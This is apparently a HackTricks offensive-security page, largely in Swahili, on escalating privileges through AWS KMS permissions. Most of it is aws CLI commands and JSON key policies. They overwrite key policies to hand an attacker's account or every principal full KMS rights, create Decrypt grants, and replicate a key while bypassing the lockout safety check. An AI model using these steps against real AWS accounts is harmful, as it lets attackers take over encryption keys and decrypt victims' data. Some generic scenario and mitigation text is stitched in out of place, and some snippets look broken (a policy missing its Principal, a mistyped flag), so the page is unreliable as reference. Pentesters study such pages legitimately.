AWS - KMS Privesc

Support HackTricks

KMS

Kwa maelezo zaidi kuhusu KMS angalia:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Kwa ruhusa hizi inawezekana kubadilisha ruhusa za ufikiaji wa ufunguo ili uweze kutumiwa na akaunti nyingine au hata mtu yeyote:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "kms:Decrypt",
            "Resource": "*"
        }
    ]
}
policy.json

KMS Privilege Escalation

Scenario 1: Decrypting Administrator Passwords

Katika hali hii, mshambuliaji anaweza kutumia ruhusa za kms:Decrypt kufichua nywila za msimamizi zilizohifadhiwa kwenye KMS. Hii inaweza kuruhusu mshambuliaji kupata ufikiaji wa rasilimali za AWS kwa kutumia nywila hizo.

Scenario 2: Creating a New Key with Administrative Privileges

Katika hali hii, mshambuliaji anaweza kutumia ruhusa za kms:CreateKey kuunda ufunguo mpya na kisha kupeana ruhusa za kiutawala kwa ufunguo huo. Hii inaweza kuruhusu mshambuliaji kufanya vitendo vya kiutawala kwenye rasilimali za AWS.

Mitigation

Ili kupunguza hatari hizi, ni muhimu kuweka sera za IAM ambazo zinadhibiti upatikanaji wa ruhusa za KMS. Hii inaweza kujumuisha:

  • Kuweka sera za IAM ambazo zinadhibiti ni nani anaweza kuunda na kusimamia funguo za KMS.

  • Kuweka sera za IAM ambazo zinadhibiti ni nani anaweza kufichua data iliyosimbwa kwa kutumia funguo za KMS.

  • Kufanya ukaguzi wa mara kwa mara wa sera za IAM na ruhusa za KMS ili kuhakikisha kuwa zinakidhi mahitaji ya usalama.

Kwa kufuata hatua hizi, unaweza kupunguza hatari ya kupandishwa kwa ruhusa kupitia KMS.

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Inamruhusu mhusika kutumia KMS key:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Kumbuka kuwa inaweza kuchukua dakika chache kwa KMS kuruhusu mtumiaji kutumia ufunguo baada ya grant kuzalishwa. Mara muda huo ukipita, principal anaweza kutumia KMS key bila ya kuhitaji kutaja chochote. Hata hivyo, ikiwa inahitajika kutumia grant mara moja tumia grant token (angalia msimbo ufuatao). Kwa maelezo zaidi soma hii.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Note kwamba inawezekana kuorodhesha ruhusa za funguo na:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Kwa ruhusa hizi inawezekana kurudia ufunguo wa KMS ulio na uwezo wa kanda nyingi katika kanda tofauti na sera tofauti.

Kwa hivyo, mshambuliaji anaweza kutumia vibaya hili kupata privesc ya ufikiaji wake kwa ufunguo na kuutumia

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Hii ruhusa inaruhusu kutumia ufunguo kufungua baadhi ya taarifa. Kwa maelezo zaidi angalia:

AWS - KMS Post Exploitation
Support HackTricks

Last updated